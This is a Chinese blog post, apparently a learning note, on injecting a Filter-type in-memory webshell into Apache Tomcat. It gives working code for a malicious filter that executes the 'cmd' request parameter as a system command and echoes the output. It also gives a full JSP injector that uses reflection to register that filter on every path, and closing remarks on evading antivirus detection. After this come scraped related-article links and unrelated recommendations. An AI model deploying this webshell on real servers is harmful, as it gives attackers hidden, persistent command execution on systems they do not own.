Tomcat内存马-Filter型

什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述

Filter加载流程分析

tomcat启动后正常情况下对于Filter的处理过程:

  • 加载web.xml配置文件
  • 读取filter的信息,并将其保存在context对象里的filterDef,filterConfigs,filterMappers中
  • filterChain的构造流程:1. 匹配请求路径,找到对应的filter 2. 将匹配的filter加入filterChain中 3.执行filterChain

利用jsp文件完成动态注册恶意filter

需要解决的问题

  • 怎么获取context对象
  • 利用动态加载,如何修改filterConfigs,filterDefs,filterMaps,将恶意filter插入。

恶意Filter对象

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("添加");
String cmd = servletRequest.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
while(true) {
String tmp = null;
if ((tmp = new BufferedReader(new InputStreamReader(inputStream)).readLine()) != null) {
servletResponse.getOutputStream().print(tmp);
}else{
break;
}
}
return;
}

在这里可以jsp进行注入

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<center><h1>Dynamic Memory-Type Horse</h1></center>
</body>
</html> <%
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext)webappClassLoaderBase.getResources().getContext(); if(context.findFilterDef("Filter_new")==null){
//2.配置过滤器并初始化FilterDef
String newFilterName = "Filter_new";
String newFilterClass = "sec.aur0ra.filter.Filter"; FilterDef filterDef = new FilterDef();
filterDef.setFilterName(newFilterName);
filterDef.setFilterClass(newFilterClass); //3. 注册FilterDef
context.addFilterDef(filterDef); //4. 创建并注册FilterMap对象
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Filter_new");
filterMap.addURLPattern("/*"); context.addFilterMapBefore(filterMap);
//context.addFilterMap(filterMap); //5. 添加FilterConfig
Constructor constructor = null;
try {
//获取FilterConfigs对象
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context); constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(context, filterDef); filterConfigs.put(newFilterName, filterConfig);
} catch (Exception e){
;
} }
FilterMap[] filterMaps = context.findFilterMaps();
System.out.println("注册成功");
%>

在这里利用线程信息获取context。获取context对象的方式还有通过request对象进行获取等

直接访问恶意jsp文件

恶意的filter已经被成功注入

再访问正常界面

访问成功,说明内存成功注入。报错只是因为没有传参,所以报错不一定代表坏消息

传参cmd

可能遇到的问题

filterDef,filterConfigs,filterMappers中未添加全对应的信息

小结

可以看到,这里已经成功注册了Filter内存马。EvilFilter的对象可以传字节码进去,但还是免不了借助了jsp文件,虽然后面可以删除,但还是会有文件记录,自然也就容易被查杀。利用反序列化执行代码?后续再学习吧

【免杀技术】Tomcat内存马-Filter的更多相关文章

  1. Tomcat 内存马(二)Filter型

    一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...

  2. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  3. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  4. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  5. kali linux之免杀技术

    恶意软件: 病毒,木马.蠕虫,键盘记录,僵尸程序,流氓软件,勒索软件,广告程序 在用户非自愿的情况下安装 出于某种恶意的目的:控制,窃取,勒索,偷窥,推送,攻击 恶意程序最主要的防护手段:杀软 检测原 ...

  6. Tomcat 内存马(一)Listener型

    一.Tomcat介绍 Tomcat的主要功能 tomcat作为一个 Web 服务器,实现了两个非常核心的功能: Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报 ...

  7. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  8. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  9. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

随机推荐

  1. 【LeetCode】54. Spiral Matrix 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 维护四个边界和运动方向 保存已经走过的位置 日期 题 ...

  2. 基于 Electron 的 Rubick 2.4k star 啦,同步更新新功能!

    为什么要做 Rubick 其实做 Rubick 1.x 的初衷就是解决自己的问题的:特别需要一款支持自定义插件的桌面端应用来简化使用者安装庞大桌面端应用的臃肿.而且涉及到数据安全的问题,插件只能在公司 ...

  3. CS5218替代AG6310方案|设计DP转HDMI转换方案|替代AG6310方案

    AG6310是一款实现显示端DP口转HDMI数据转换器.AG6310是一款单芯片解决方案,通过DP端口连接器传输视频和音频流,其DP1.2支持可配置的1.2和4通道,分别为1.62Gbps.2.7Gb ...

  4. Android物联网应用程序开发(智慧城市)—— 购物信息的存储界面开发

    效果: 布局代码: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:an ...

  5. Spring Boot程序接收命令行参数

    Spring Boot程序接收命令行参数 输入一行,回车,触发一次.如果想要调用service层,也是可以,能调用service层,就可以做很多事,触发一次就好比调用了一次http接口一样 packa ...

  6. Linux查看RAM内存信息

    1.查看/proc/meminfo文件 查看RAM使用情况最简单的方法是通过/proc/meminfo. 这个动态更新的虚拟文件列出了详细的内存使用情况. cat /proc/meminfo 命令输出 ...

  7. RabbitMQ --- 直连交换机 【 无回调方法,不能获取消费结果 】

    1.前言 消息队列除了kafka 外,还有许多种,比如RabbitMQ .ActiveMQ.ZeroMQ.JMQ等. 老牌的ActiveMQ ,底层使用Java写的,资源消耗大,速度也慢,但是适合 J ...

  8. [转]浮点运算decimal.js

    开发过程中免不了有浮点运算,JavaScript浮点运算的精度问题会带来一些困扰 JavaScript 只有一种数字类型 ( Number ) JavaScript采用 IEEE 754 标准双精度浮 ...

  9. php伪协议总结

    本篇总结下一些封装协议,涉及的相关协议:file://.php://filter.php://input.zip://.compress.bzip2://.compress.zlib://.data: ...

  10. Hackurllib

    是的大部分的http请求库都不够hacking 不过有w8ay师傅的hack-requests 但是我想造一个属于自己的轮子它将会足够简单足够hacking 用这个名字是因为我选择了urllib做为最 ...